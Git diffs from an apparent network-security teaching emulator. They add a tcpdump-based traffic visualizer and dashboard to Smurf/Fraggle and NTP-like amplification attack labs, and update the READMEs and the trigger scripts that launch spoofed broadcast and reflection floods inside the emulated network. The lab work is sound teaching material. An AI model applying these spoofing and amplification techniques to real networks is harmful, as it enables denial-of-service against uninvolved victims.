b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md @@ -115,62 +115,39 @@ On the victim, we run the following program count UDP replies sent by the Fraggl ## Visualizing The Attack -The best way to see the amplification effect is from the victim's point of view. We have installed a live dashboard on AS151 `host_0`: +The best way to see the amplification effect is from the victim's point of view. Y11 installs the +Traffic Visualizer web application on AS151 `host_0`. It starts automatically, passively captures +incoming attack traffic with `tcpdump`, and publishes the dashboard on the host: ```text -/opt/smurf-lab/visualize_attack.py +http://localhost:8081 ``` - -Start the dashboard on the victim first: - -```sh -docker compose -f output/docker-compose.yml exec hnode_151_host_0 \ - /opt/smurf-lab/visualize_attack.py --duration 20 --request-count 3 -``` - -In another terminal, trigger the attack from AS150: +Open that address in a browser, then trigger Smurf from another terminal: ```sh docker compose -f output/docker-compose.yml exec hnode_150_host_0 \ /opt/smurf-lab/trigger_attack.sh --count 3 ``` -For Fraggle, start the UDP dashboard on the victim: - -```sh -docker compose -f output/docker-compose.yml exec hnode_151_host_0 \ - /opt/smurf-lab/visualize_attack.py --mode fraggle --duration 20 --request-count 3 -``` - -Then trigger the UDP broadcast attack from AS150: +Trigger Fraggle with: ```sh docker compose -f output/docker-compose.yml exec hnode_150_host_0 \ /opt/smurf-lab/trigger_attack.sh --mode fraggle --count 3 ``` -The dashboard shows the attack as amplification: +The first version intentionally keeps the visualization small: it shows the total number of +matching packets observed by `tcpdump` and the number observed during the previous second. Its +API is also available inside the victim container: ```text -SMURF ATTACK MONITOR -==================== -Victim view: ICMP echo replies from 10.152.0.* - -elapsed seconds : 4.0 -spoofed requests : 3 -ICMP replies received : 36 -unique amplifier hosts : 12 -estimated amplification: 12.0x -replies in last window : 0 - -Top replying hosts ------------------- -10.152.0.71 3 replies -10.152.0.72 3 replies -10.152.0.73 3 replies +http://127.0.0.1:8080/api/stats ``` +The previous terminal dashboard remains available at `/opt/smurf-lab/visualize_attack.py` for +CLI-only demonstrations. + Internet Map is still useful for seeing packets move through the topology, but the victim dashboard makes the key lesson clearer: a small number of spoofed requests can cause many hosts to send replies to the victim. diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/emulator.py b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/emulator.py index 313eebe96..66f529943 100755 --- a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/emulator.py +++ b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/emulator.py @@ -27,6 +27,9 @@ TARGET_ROUTER = "router0" TARGET_NETWORK = "net0" SMURF_DIR = "/opt/smurf-lab" +TRAFFIC_VISUALIZER_DIR = f"{SMURF_DIR}/traffic_visualizer" +TRAFFIC_VISUALIZER_HOST_PORT = 8081 +TRAFFIC_VISUALIZER_CONTAINER_PORT = 8080 FRAGGLE_PORT = 19 @@ -130,15 +133,34 @@ def configure_attacker(host: Node) -> None: def configure_victim(host: Node) -> None: host.addSoftware("python3") + host.addSoftware("tcpdump") prepare_smurf_dir(host) install_file(host, "smurf_monitor.py", "smurf_monitor.py") install_file(host, "fraggle_monitor.py", "fraggle_monitor.py") install_file(host, "visualize_attack.py", "visualize_attack.py") + install_file( + host, + "traffic_visualizer/traffic_visualizer.py", + "traffic_visualizer/traffic_visualizer.py", + ) + install_file(host, "traffic_visualizer/dashboard.html", "traffic_visualizer/dashboard.html") + install_file(host, "traffic_visualizer/config.json", "traffic_visualizer/config.json") + host.addPortForwarding(TRAFFIC_VISUALIZER_HOST_PORT, TRAFFIC_VISUALIZER_CONTAINER_PORT) + host.appendStartCommand(f"mkdir -p {TRAFFIC_VISUALIZER_DIR}") + host.appendStartCommand( + f"chmod +x {SMURF_DIR}/smurf_monitor.py {SMURF_DIR}/fraggle_monitor.py " + f"{SMURF_DIR}/visualize_attack.py {TRAFFIC_VISUALIZER_DIR}/traffic_visualizer.py" + ) host.appendStartCommand( - f"chmod +x {SMURF_DIR}/smurf_monitor.py {SMURF_DIR}/fraggle_monitor.py {SMURF_DIR}/visualize_attack.py" + f"python3 {TRAFFIC_VISUALIZER_DIR}/traffic_visualizer.py " + f"--config {TRAFFIC_VISUALIZER_DIR}/config.json " + f"--dashboard {TRAFFIC_VISUALIZER_DIR}/dashboard.html " + ">> /var/log/traffic-visualizer.log 2>&1", + fork=True, ) host.appendClassName("SmurfVictim") host.appendClassName("FraggleVictim") + host.appendClassName("TrafficVisualizer") host.setDisplayName("Victim") diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer/config.json b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer/config.json new file mode 100644 index 000000000..39e77c810 --- /dev/null +++ b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer/config.json @@ -0,0 +1,6 @@ +{ + "interface": "any", + "capture_filter": "src net 10.152.0.0/24 and (icmp or udp)", + "web_host": "0.0.0.0", + "web_port": 8080 +} diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer/dashboard.html b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer/dashboard.html new file mode 100644 index 000000000..7e183c7f6 --- /dev/null +++ b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer/dashboard.html @@ -0,0 +1,66 @@ + + + + + + Traffic Visualizer + + + +
+

Traffic Visualizer

+
Packets observed on the Y11 victim
+
+
Total packets
0
+
Packets last second
0
+
+ Connecting +
+
+ + + diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer/traffic_visualizer.py b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer/traffic_visualizer.py new file mode 100644 index 000000000..e88d6328f --- /dev/null +++ b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer/traffic_visualizer.py @@ -0,0 +1,161 @@ +#!/usr/bin/env python3 +"""Count tcpdump output lines and publish the count over HTTP.""" + +from __future__ import annotations + +import argparse +from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer +import json +from pathlib import Path +import subprocess +import threading +from typing import Any +from urllib.parse import urlparse + + +SCRIPT_DIR = Path(__file__).resolve().parent + + +class PacketCounter: + def __init__(self) -> None: + self.lock = threading.Lock() + self.total = 0 + self.last_second = 0 + self.current_second = 0 + self.status = "starting" + self.error = "" + + def increment(self) -> None: + with self.lock: + self.total += 1 + self.current_second += 1 + + def finish_second(self) -> None: + with self.lock: + self.last_second = self.current_second + self.current_second = 0 + + def reset(self) -> None: + with self.lock: + self.total = 0 + self.last_second = 0 + self.current_second = 0 + + def snapshot(self) -> dict[str, Any]: + with self.lock: + return { + "total_packets": self.total, + "packets_last_second": self.last_second, + "status": self.status, + "error": self.error, + } + + +def capture_packets(config: dict[str, Any], counter: PacketCounter) -> None: + command = [ + "tcpdump", + "-i", + str(config.get("interface", "any")), + "-Q", + "in", + "-n", + "-l", + "-q", + str(config.get("capture_filter", "")), + ] + + try: + process = subprocess.Popen( + command, + stdout=subprocess.PIPE, + stderr=subprocess.DEVNULL, + text=True, + bufsize=1, + ) + except OSError as error: + counter.status = "error" + counter.error = str(error) + return + + counter.status = "running" + assert process.stdout is not None + for line in process.stdout: + if line.strip(): + counter.increment() + + counter.status = "error" + counter.error = f"tcpdump exited with status {process.wait()}" + + +def sample_each_second(counter: PacketCounter) -> None: + event = threading.Event() + while not event.wait(1.0): + counter.finish_second() + + +def make_handler(counter: PacketCounter, dashboard: bytes): + class Handler(BaseHTTPRequestHandler): + def do_GET(self) -> None: # noqa: N802 + path = urlparse(self.path).path + if path == "/": + self._send(200, "text/html; charset=utf-8", dashboard) + elif path == "/api/stats": + self._send_json(200, counter.snapshot()) + elif path == "/healthz": + status = 200 if counter.status != "error" else 503 + self._send_json(status, {"status": counter.status}) + else: + self._send_json(404, {"error": "not found"}) + + def do_POST(self) -> None: # noqa: N802 + if urlparse(self.path).path != "/api/reset": + self._send_json(404, {"error": "not found"}) + return + counter.reset() + self._send_json(200, {"status": "reset"}) + + def log_message(self, _format: str, *_args: Any) -> None: + pass + + def _send_json(self, status: int, payload: dict[str, Any]) -> None: + body = json.dumps(payload).encode("utf-8") + self._send(status, "application/json; charset=utf-8", body) + + def _send(self, status: int, content_type: str, body: bytes) -> None: + self.send_response(status) + self.send_header("Content-Type", content_type) + self.send_header("Content-Length", str(len(body))) + self.send_header("Cache-Control", "no-store") + self.end_headers() + self.wfile.write(body) + + return Handler + + +def main() -> int: + parser = argparse.ArgumentParser(description="Count packets observed by tcpdump.") + parser.add_argument("--config", default=str(SCRIPT_DIR / "config.json")) + parser.add_argument("--dashboard", default=str(SCRIPT_DIR / "dashboard.html")) + args = parser.parse_args() + + config = json.loads(Path(args.config).read_text(encoding="utf-8")) + dashboard = Path(args.dashboard).read_bytes() + counter = PacketCounter() + + threading.Thread(target=capture_packets, args=(config, counter), daemon=True).start() + threading.Thread(target=sample_each_second, args=(counter,), daemon=True).start() + + address = (str(config.get("web_host", "0.0.0.0")), int(config.get("web_port", 8080))) + server = ThreadingHTTPServer(address, make_handler(counter, dashboard)) + print(f"Traffic Visualizer listening on http://{address[0]}:{address[1]}", flush=True) + try: + server.serve_forever() + except KeyboardInterrupt: + pass + finally: + server.server_close() + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) From 59342566e8191ecc2df26b528fc2f83688d2644c Mon Sep 17 00:00:00 2001 From: Kevin Du Date: Sat, 18 Jul 2026 16:57:37 +0800 Subject: [PATCH 13/33] Update dashboard.html --- .../traffic_visualizer/dashboard.html | 62 +++++++++++++++++-- 1 file changed, 58 insertions(+), 4 deletions(-) diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer/dashboard.html b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer/dashboard.html index 7e183c7f6..5650fc22a 100644 --- a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer/dashboard.html +++ b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/traffic_visualizer/dashboard.html @@ -8,23 +8,36 @@ body { margin: 0; min-height: 100vh; - display: grid; - place-items: center; + display: flex; + align-items: center; + justify-content: center; + padding: 32px 0; + box-sizing: border-box; font-family: system-ui, sans-serif; color: #eaf2ff; background: #08111f; } - main { width: min(680px, calc(100% - 32px)); text-align: center; } + main { width: 760px; max-width: calc(100% - 32px); text-align: center; } h1 { margin-bottom: 8px; font-size: 36px; } .subtitle { color: #91a4ba; } .counts { display: grid; grid-template-columns: 1fr 1fr; gap: 16px; margin: 28px 0; } .card { padding: 30px 18px; border: 1px solid #293a50; border-radius: 14px; background: #111e30; } .label { color: #91a4ba; font-size: 13px; text-transform: uppercase; letter-spacing: .08em; } .value { display: block; margin-top: 8px; font-size: 46px; } + .activity { margin: 0 0 24px; padding: 18px; border: 1px solid #293a50; border-radius: 14px; background: #0d1929; } + .flow { display: flex; align-items: center; gap: 14px; margin-top: 14px; } + .endpoint { width: 68px; flex: none; color: #91a4ba; font-size: 12px; text-transform: uppercase; letter-spacing: .06em; } + .victim { padding: 10px 6px; border: 1px solid #38bdf8; border-radius: 9px; color: #dff6ff; background: #0c4a6e; } + .packet-lane { position: relative; height: 78px; flex: 1; overflow: hidden; border-radius: 10px; background: linear-gradient(90deg, #0a1524, #10243a); } + .packet-lane::after { content: ""; position: absolute; top: 50%; right: 0; left: 0; border-top: 1px dashed #36506d; } + .packet { position: absolute; z-index: 1; left: -24px; width: 18px; height: 11px; border: 1px solid #bae6fd; border-radius: 3px; background: #38bdf8; box-shadow: 0 0 10px #38bdf8aa; animation: travel 800ms linear forwards; } + #scale { min-height: 20px; margin-top: 10px; color: #91a4ba; font-size: 13px; } + @keyframes travel { to { left: calc(100% + 6px); } } button { padding: 9px 14px; border: 1px solid #526a87; border-radius: 8px; color: #eaf2ff; background: #172a42; cursor: pointer; } #status { margin-left: 12px; color: #91a4ba; } #error { margin-top: 18px; color: #fca5a5; } - @media (max-width: 560px) { .counts { grid-template-columns: 1fr; } } + @media (max-width: 560px) { .counts { grid-template-columns: 1fr; } .endpoint { width: 54px; } } + @media (prefers-reduced-motion: reduce) { .packet { animation-duration: 1ms; } } @@ -35,11 +48,51 @@

Traffic Visualizer

Total packets
0
Packets last second
0
+
+
Live packet flow
+
+
Network
+
+
Victim
+
+
Waiting for packets
+
Connecting
diff --git a/tools/TrafficVisualizer/traffic_visualizer.py b/tools/TrafficVisualizer/traffic_visualizer.py index 6992cc715..b5444b29f 100644 --- a/tools/TrafficVisualizer/traffic_visualizer.py +++ b/tools/TrafficVisualizer/traffic_visualizer.py @@ -124,12 +124,24 @@ def sample_each_second(counter: PacketCounter) -> None: counter.finish_second() -def make_handler(counter: PacketCounter, dashboard: bytes): +def make_handler( + counter: PacketCounter, + dashboard: bytes, + frontend_config: dict[str, Any], + extension_js: bytes, + extension_css: bytes, +): class Handler(BaseHTTPRequestHandler): def do_GET(self) -> None: # noqa: N802 path = urlparse(self.path).path if path == "/": self._send(200, "text/html; charset=utf-8", dashboard) + elif path == "/extension.js": + self._send(200, "text/javascript; charset=utf-8", extension_js) + elif path == "/extension.css": + self._send(200, "text/css; charset=utf-8", extension_css) + elif path == "/api/config": + self._send_json(200, {"api_version": 1, "frontend": frontend_config}) elif path == "/api/stats": self._send_json(200, counter.snapshot()) elif path == "/healthz": @@ -163,21 +175,52 @@ def _send(self, status: int, content_type: str, body: bytes) -> None: return Handler +def load_frontend(config: dict[str, Any], config_path: Path): + configured = config.get("frontend", {}) + if not isinstance(configured, dict): + raise ValueError("frontend configuration must be a JSON object") + + frontend = { + "title": str(configured.get("title", "Traffic Visualizer")), + "subtitle": str(configured.get("subtitle", "Packets observed")), + "accent_color": str(configured.get("accent_color", "#38bdf8")), + "options": configured.get("options", {}), + } + if not isinstance(frontend["options"], dict): + raise ValueError("frontend.options must be a JSON object") + + def read_optional(name: str) -> bytes: + value = configured.get(name) + if not value: + return b"" + path = Path(str(value)) + if not path.is_absolute(): + path = config_path.parent / path + return path.read_bytes() + + return frontend, read_optional("extension_js"), read_optional("extension_css") + + def main() -> int: parser = argparse.ArgumentParser(description="Count packets observed by tcpdump.") parser.add_argument("--config", default=str(SCRIPT_DIR / "config.json")) parser.add_argument("--dashboard", default=str(SCRIPT_DIR / "dashboard.html")) args = parser.parse_args() - config = json.loads(Path(args.config).read_text(encoding="utf-8")) + config_path = Path(args.config).resolve() + config = json.loads(config_path.read_text(encoding="utf-8")) dashboard = Path(args.dashboard).read_bytes() + frontend_config, extension_js, extension_css = load_frontend(config, config_path) counter = PacketCounter() threading.Thread(target=capture_packets, args=(config, counter), daemon=True).start() threading.Thread(target=sample_each_second, args=(counter,), daemon=True).start() address = (str(config.get("web_host", "0.0.0.0")), int(config.get("web_port", 8080))) - server = ThreadingHTTPServer(address, make_handler(counter, dashboard)) + server = ThreadingHTTPServer( + address, + make_handler(counter, dashboard, frontend_config, extension_js, extension_css), + ) print(f"Traffic Visualizer listening on http://{address[0]}:{address[1]}", flush=True) try: server.serve_forever() From 8ef4cdbcdfc5098e60c5807f32d520d6dcfd4d11 Mon Sep 17 00:00:00 2001 From: Kevin Du Date: Sun, 19 Jul 2026 09:41:10 +0800 Subject: [PATCH 19/33] minor changes --- .../Y11_smurf_fraggle_attack/README.md | 16 ++++++++-------- .../Y11_smurf_fraggle_attack/emulator.py | 2 +- .../Y11_smurf_fraggle_attack/trigger_attack.sh | 4 ++-- 3 files changed, 11 insertions(+), 11 deletions(-) diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md index e91425344..bff95bf85 100644 --- a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md +++ b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/README.md @@ -68,14 +68,14 @@ Trigger the Smurf attack from another terminal with: ```sh docker compose -f output/docker-compose.yml exec hnode_150_host_0 \ - /opt/smurf-fraggle-lab/trigger_attack.sh --count 3 + /opt/demo/trigger_attack.sh --count 3 ``` Trigger Fraggle with: ```sh docker compose -f output/docker-compose.yml exec hnode_150_host_0 \ - /opt/smurf-fraggle-lab/trigger_attack.sh --mode fraggle --count 3 + /opt/demo/trigger_attack.sh --mode fraggle --count 3 ``` The visualization shows matching packet and IP-layer byte totals, values observed during the @@ -102,7 +102,7 @@ First, the attacker must be able to send an ICMP echo request with a spoofed source address. In this example, AS150 runs: ```text -/opt/smurf-fraggle-lab/smurf_attack.py +/opt/demo/smurf_attack.py ``` This script opens a raw socket and builds a packet manually. The packet's @@ -144,7 +144,7 @@ source address, so the replies go to AS151 `host_0`, the victim. On the victim, we run the following program to count ICMP echo replies from the AS152 prefix. ```text -/opt/smurf-fraggle-lab/smurf_monitor.py +/opt/demo/smurf_monitor.py ``` @@ -155,7 +155,7 @@ on AS152 `router0. We also run the following UDP daemon on each AS152 hosts: ```text -/opt/smurf-fraggle-lab/fraggle_amplifier.py +/opt/demo/fraggle_amplifier.py ``` This is a small lab-only UDP daemon. It listens on UDP port `19`, accepts lab @@ -170,7 +170,7 @@ from many of those 30 hosts. On the victim, we run the following program count UDP replies sent by the Fraggle amplifier hosts. ```text -/opt/smurf-fraggle-lab/fraggle_monitor.py +/opt/demo/fraggle_monitor.py ``` @@ -185,13 +185,13 @@ Instead of using the web application to observe victim-side replies, we can also For the Smurf attack: ```sh docker compose -f output/docker-compose.yml exec hnode_151_host_0 \ - /opt/smurf-fraggle-lab/visualize_attack.py --duration 20 --request-count 3 + /opt/demo/visualize_attack.py --duration 20 --request-count 3 ``` For the Fraggle attack: ```sh docker compose -f output/docker-compose.yml exec hnode_151_host_0 \ - /opt/smurf-fraggle-lab/visualize_attack.py --mode fraggle --duration 20 --request-count 3 + /opt/demo/visualize_attack.py --mode fraggle --duration 20 --request-count 3 ``` diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/emulator.py b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/emulator.py index e40dca138..ab83e1fc0 100755 --- a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/emulator.py +++ b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/emulator.py @@ -27,7 +27,7 @@ TARGET_ASN = 152 TARGET_ROUTER = "router0" TARGET_NETWORK = "net0" -SMURF_DIR = "/opt/smurf-fraggle-lab" +SMURF_DIR = "/opt/demo" TRAFFIC_VISUALIZER_DIR = f"{SMURF_DIR}/traffic_visualizer" TRAFFIC_VISUALIZER_HOST_PORT = 8081 TRAFFIC_VISUALIZER_CONTAINER_PORT = 8080 diff --git a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/trigger_attack.sh b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/trigger_attack.sh index 2b1f7b0ea..aa3bd93f0 100644 --- a/examples/yesterday_once_more/Y11_smurf_fraggle_attack/trigger_attack.sh +++ b/examples/yesterday_once_more/Y11_smurf_fraggle_attack/trigger_attack.sh @@ -26,10 +26,10 @@ done # - vulnerable directed-broadcast LAN: AS152, 10.152.0.255 case "$MODE" in smurf|icmp) - python3 /opt/smurf-lab/smurf_attack.py "${ARGS[@]}" + python3 /opt/demo/smurf_attack.py "${ARGS[@]}" ;; fraggle|udp) - python3 /opt/smurf-lab/fraggle_attack.py "${ARGS[@]}" + python3 /opt/demo/fraggle_attack.py "${ARGS[@]}" ;; *) echo "unknown mode: $MODE" >&2 From 0533fb369dffeea13be3f9c07f6407ca6bcecc01 Mon Sep 17 00:00:00 2001 From: Kevin Du Date: Sun, 19 Jul 2026 10:01:00 +0800 Subject: [PATCH 20/33] renamed --- .../Y10_ntp_amplification/{ntp_amplification.py => emulator.py} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename examples/yesterday_once_more/Y10_ntp_amplification/{ntp_amplification.py => emulator.py} (100%) mode change 100644 => 100755 diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/ntp_amplification.py b/examples/yesterday_once_more/Y10_ntp_amplification/emulator.py old mode 100644 new mode 100755 similarity index 100% rename from examples/yesterday_once_more/Y10_ntp_amplification/ntp_amplification.py rename to examples/yesterday_once_more/Y10_ntp_amplification/emulator.py From 8f5a80102605e294cd242e241c0df403ad0262d9 Mon Sep 17 00:00:00 2001 From: Kevin Du Date: Sun, 19 Jul 2026 10:06:24 +0800 Subject: [PATCH 21/33] improved the visualization of Y10 --- .../Y10_ntp_amplification/README.md | 12 +-- .../Y10_ntp_amplification/example.yaml | 2 +- .../traffic_visualizer_config.json | 5 +- .../traffic_visualizer_extension.css | 85 +++++++++++++++++++ .../traffic_visualizer_extension.js | 82 +++++++++++++++--- 5 files changed, 169 insertions(+), 17 deletions(-) diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/README.md b/examples/yesterday_once_more/Y10_ntp_amplification/README.md index cc8a33b36..75f2fb9c2 100644 --- a/examples/yesterday_once_more/Y10_ntp_amplification/README.md +++ b/examples/yesterday_once_more/Y10_ntp_amplification/README.md @@ -44,17 +44,19 @@ docker compose -f output/docker-compose.yml exec hnode_150_host_0 \ ``` The generic area displays packet and IP-byte totals, rates, and packet-flow -animation. Y10 adds a small extension panel describing the request/reply -pattern, the three amplifier ASes, and average observed IP packet size. The -extension files live with this example; the capture agent and base dashboard -remain shared in `tools/TrafficVisualizer`. +animation. Y10's extension compares the fixed 64-byte request IP packet with +the average response IP packet and displays the resulting IP-layer byte +amplification as a number and scale. With the default 1,200-byte response +payload, the response IP packet is 1,228 bytes and the scale is approximately +19.2x. The extension files live with this example; the capture agent and base +dashboard remain shared in `tools/TrafficVisualizer`. ## Build From the repository root: ```sh -python examples/yesterday_once_more/Y10_ntp_amplification/ntp_amplification.py --platform amd +python examples/yesterday_once_more/Y10_ntp_amplification/emulator.py --platform amd ``` The generated Docker files are placed in: diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/example.yaml b/examples/yesterday_once_more/Y10_ntp_amplification/example.yaml index b6e19cfd6..11e11eebf 100644 --- a/examples/yesterday_once_more/Y10_ntp_amplification/example.yaml +++ b/examples/yesterday_once_more/Y10_ntp_amplification/example.yaml @@ -2,7 +2,7 @@ id: yesterday-y10-ntp-amplification name: NTP-Like Amplification description: B00 mini-Internet topology with lab-only NTP-like amplifiers and an attack trigger. runner: internet -script: ntp_amplification.py +script: emulator.py platform: amd features: - mini-internet diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/traffic_visualizer_config.json b/examples/yesterday_once_more/Y10_ntp_amplification/traffic_visualizer_config.json index 311bfb431..964ce5185 100644 --- a/examples/yesterday_once_more/Y10_ntp_amplification/traffic_visualizer_config.json +++ b/examples/yesterday_once_more/Y10_ntp_amplification/traffic_visualizer_config.json @@ -10,7 +10,10 @@ "extension_js": "traffic_visualizer_extension.js", "extension_css": "traffic_visualizer_extension.css", "options": { - "amplifiers": "AS152 · AS160 · AS171" + "amplifiers": "AS152 / AS160 / AS171", + "request_payload_bytes": 36, + "request_ip_bytes": 64, + "gauge_max_amplification": 20 } } } diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/traffic_visualizer_extension.css b/examples/yesterday_once_more/Y10_ntp_amplification/traffic_visualizer_extension.css index c53d5151d..8c7eb6a8f 100644 --- a/examples/yesterday_once_more/Y10_ntp_amplification/traffic_visualizer_extension.css +++ b/examples/yesterday_once_more/Y10_ntp_amplification/traffic_visualizer_extension.css @@ -6,3 +6,88 @@ font-size: 18px; line-height: 1.35; } + +.ntp-details .amplification-value { + font-size: 30px; +} + +.extension-note { + display: block; + margin-top: 5px; + color: #91a4ba; + font-size: 12px; +} + +.amplification-scale { + margin-top: 12px; + padding: 18px; + border: 1px solid #293a50; + border-radius: 12px; + background: #0d1929; +} + +.scale-heading, +.scale-row { + display: grid; + grid-template-columns: 80px 1fr 58px; + align-items: center; + gap: 12px; +} + +.scale-heading { + grid-template-columns: 1fr auto; + margin-bottom: 14px; + color: #91a4ba; + font-size: 12px; + text-transform: uppercase; + letter-spacing: .06em; +} + +.scale-row + .scale-row { + margin-top: 10px; +} + +.scale-label, +.scale-number { + color: #cbd5e1; + font-size: 13px; +} + +.scale-number { + text-align: right; + font-weight: 700; +} + +.scale-track { + height: 14px; + overflow: hidden; + border-radius: 7px; + background: #162337; +} + +.scale-bar { + display: block; + min-width: 0; + height: 100%; + border-radius: inherit; +} + +.request-bar { + width: 5%; + min-width: 5px; + background: #64748b; +} + +.response-bar { + width: 0; + background: linear-gradient(90deg, #7e22ce, var(--accent)); + box-shadow: 0 0 12px color-mix(in srgb, var(--accent) 55%, transparent); + transition: width 350ms ease; +} + +@media (max-width: 560px) { + .scale-heading { display: block; } + .scale-heading span { display: block; } + .scale-heading span + span { margin-top: 4px; } + .scale-row { grid-template-columns: 64px 1fr 48px; gap: 8px; } +} diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/traffic_visualizer_extension.js b/examples/yesterday_once_more/Y10_ntp_amplification/traffic_visualizer_extension.js index 19314c495..b58f6c03a 100644 --- a/examples/yesterday_once_more/Y10_ntp_amplification/traffic_visualizer_extension.js +++ b/examples/yesterday_once_more/Y10_ntp_amplification/traffic_visualizer_extension.js @@ -1,31 +1,93 @@ (() => { + let requestSize; let averageSize; + let amplificationValue; + let responseBar; + let responseScale; + + function showEmptyState() { + averageSize.textContent = '0 B'; + amplificationValue.textContent = '0.0x'; + responseBar.style.width = '0%'; + responseScale.textContent = 'Waiting for amplified responses'; + } TrafficVisualizer.registerExtension({ - mount({root, config}) { + mount({root, config, formatBytes}) { root.innerHTML = `
-
Attack pattern
- Small request → large reply +
Fixed request IP packet
+ + +
+
+
Average response IP packet
+ 0 B +
+
+
IP-layer byte amplification
+ 0.0x
Lab amplifiers
-
-
Average observed IP packet
- 0 B +
+
+
+ Request-to-response scale + Waiting for amplified responses +
+
+ Request +
+ 1x +
+
+ Response +
+ 0.0x
`; + + const requestIpBytes = Number(config.request_ip_bytes); + const requestPayloadBytes = Number(config.request_payload_bytes); + requestSize = requestIpBytes; + root.querySelector('#ntp-request-size').textContent = formatBytes(requestIpBytes); + root.querySelector('#ntp-request-payload').textContent = + `${formatBytes(requestPayloadBytes)} UDP payload + ` + + `${formatBytes(requestIpBytes - requestPayloadBytes)} headers`; root.querySelector('#ntp-amplifiers').textContent = config.amplifiers; averageSize = root.querySelector('#ntp-average-size'); + amplificationValue = root.querySelector('#ntp-amplification'); + responseBar = root.querySelector('#ntp-response-bar'); + responseScale = root.querySelector('#ntp-response-scale'); + const maximum = Number(config.gauge_max_amplification) || 20; + responseBar.dataset.maximum = String(maximum); + root.querySelector('.request-bar').style.width = `${100 / maximum}%`; }, - update(stats, {formatBytes}) { - averageSize.textContent = formatBytes(stats.average_ip_packet_size); + update(stats, {formatBytes, root}) { + if (!stats.total_packets) { + showEmptyState(); + root.querySelector('#ntp-response-number').textContent = '0.0x'; + return; + } + + const averageResponseBytes = stats.total_ip_bytes / stats.total_packets; + const amplification = averageResponseBytes / requestSize; + const formattedAmplification = `${amplification.toFixed(1)}x`; + const maximum = Number(responseBar.dataset.maximum); + + averageSize.textContent = formatBytes(Math.round(averageResponseBytes)); + amplificationValue.textContent = formattedAmplification; + responseScale.textContent = `Observed response is ${formattedAmplification} the request size`; + responseBar.style.width = `${Math.min(amplification / maximum, 1) * 100}%`; + root.querySelector('#ntp-response-number').textContent = formattedAmplification; }, - reset() { - averageSize.textContent = '0 B'; + reset({root}) { + showEmptyState(); + root.querySelector('#ntp-response-number').textContent = '0.0x'; }, }); })(); From cbee22c3e5813f54d617f28e1ce6430bd868ba6e Mon Sep 17 00:00:00 2001 From: Kevin Du Date: Sun, 19 Jul 2026 10:15:19 +0800 Subject: [PATCH 22/33] add rounds --- .../Y10_ntp_amplification/README.md | 11 ++++++ .../Y10_ntp_amplification/test_runtime.py | 4 +- .../Y10_ntp_amplification/trigger_attack.py | 39 +++++++++++++++---- 3 files changed, 45 insertions(+), 9 deletions(-) diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/README.md b/examples/yesterday_once_more/Y10_ntp_amplification/README.md index 75f2fb9c2..d067279bc 100644 --- a/examples/yesterday_once_more/Y10_ntp_amplification/README.md +++ b/examples/yesterday_once_more/Y10_ntp_amplification/README.md @@ -43,6 +43,14 @@ docker compose -f output/docker-compose.yml exec hnode_150_host_0 \ /opt/ntp-like/trigger_attack.sh ``` +One round sends one request to each of the three amplifiers. Use `--rounds` to +repeat the attack; the default is one round: + +```sh +docker compose -f output/docker-compose.yml exec hnode_150_host_0 \ + /opt/ntp-like/trigger_attack.sh --rounds 10 +``` + The generic area displays packet and IP-byte totals, rates, and packet-flow animation. Y10's extension compares the fixed 64-byte request IP packet with the average response IP packet and displays the resulting IP-layer byte @@ -74,6 +82,9 @@ docker compose -f output/docker-compose.yml exec hnode_150_host_0 \ /opt/ntp-like/trigger_attack.sh ``` +For example, `--rounds 5` sends 15 reflection requests in total: five requests +to each of the three default amplifiers. + The default victim is `10.151.0.71:9000`. The default amplifiers are: ```text diff --git a/examples/yesterday_once_more/Y10_ntp_amplification/test_runtime.py b/examples/yesterday_once_more/Y10_ntp_amplification/test_runtime.py index a0ec5dc86..756ec06a6 100644 --- a/examples/yesterday_once_more/Y10_ntp_amplification/test_runtime.py +++ b/examples/yesterday_once_more/Y10_ntp_amplification/test_runtime.py @@ -47,14 +47,14 @@ def main() -> int: test.exec_check( "attacker triggers reflection simulation", attacker, - "/opt/ntp-like/trigger_attack.py --reflect --json", + "/opt/ntp-like/trigger_attack.py --reflect --rounds 2 --json", retries=10, interval=2, ) test.exec_check( "victim receives reflected UDP amplification traffic", victim, - "sleep 2; test $(wc -l < {}) -ge 3 && awk -F'bytes=' '{{sum += $2}} END {{exit !(sum >= 3000)}}' {}".format( + "sleep 2; test $(wc -l < {}) -ge 6 && awk -F'bytes=' '{{sum += $2}} END {{exit !(sum >= 